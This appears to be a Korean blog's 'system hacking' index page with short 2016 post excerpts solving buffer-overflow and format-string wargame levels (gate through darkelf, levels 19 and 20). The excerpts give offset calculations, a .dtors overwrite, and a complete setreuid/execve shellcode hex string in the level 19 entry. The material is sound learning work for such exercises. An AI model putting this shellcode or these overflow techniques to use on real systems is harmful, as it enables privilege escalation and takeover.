시스템 해킹100 darkelf argv[0]의 길이==77이어야 한다!egghunter있어서 에그쉘 사용불가argv[1]의 길이 2016. 10. 29. wolfman egghunter있으므로 에그쉘 사용불가 argv[1][47]==\xbf이어야 한다. argv[1] 2016. 10. 29. orc egghunter있어서 eggshell못쓰고!argv[1][47]==\xbf!bufferhunter있어서 40칸은 먹어버려 0xbffff0e8-0xbffff0c0=4040+4=44 2016. 10. 29. goblin egghunter가 있기때문에 에그쉘을 쓸 수 없다!!argv[1][47]==\xbf이어야 한다!! 0xbffff0d8-0xbffffb0=40 40+4=44 2016. 10. 29. cobolt gets 취약점!buffer가 작으니 eggshell을 쓰자! 0xbfff118-0xbffff108=1616+4=20 2016. 10. 29. gremlin strcpy 이부분 취약점buffer[]크기가 작으니까 eggshell을 쓰자! 0xbffffb08-0xbfffaf8=1616+4=20 2016. 10. 29. gate strcpy 이부분이 취약점! 0xbffffb68-0xbfffa68=256256+4=260 2016. 10. 29. level 20 fgets로 79자만 받으므로 버퍼오버플로우 공격 문제가 아니다.printf를 활용하는포맷스트링어택을 해야 한다. %8x를 4번 썼을때 41414141이 출력된다. 에그쉘을 만들어주고에그쉘의 주소를 구한다. 에그쉘의 주소를 십진수로 바꾸면엄청나게 큰 수가 나오므로, 두 수로 나눈다f2c5 & bfff0xf2c5=621490xbfff=4915149151>62149 만족하지 않으므로1bfff-f2c5=52538로 대체한다. RET의 주소를 구하려 하였으나,gdb에서 disas main이 먹히지 않는다.구글링을 통해이런 경우,, 를 깨달았다. .dtors는 main함수가 끝나고 실행이 되는 명령이 있는 곳이라고 합니다.08049594+4 인곳이 RET이다. 0x08049598:RET이므로 0x08049598에.. 2016. 10. 12. level 19 ebp: 0xbffff078gets 시작되는 부분: 0xbffff050 A*44+RET부분!이때 써주는 쉘코드는setreuid()을 포함하는 쉘코드이어야 한다!!\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80 2016. 10. 12. 이전 1 ··· 5 6 7 8 9 10 11 12 다음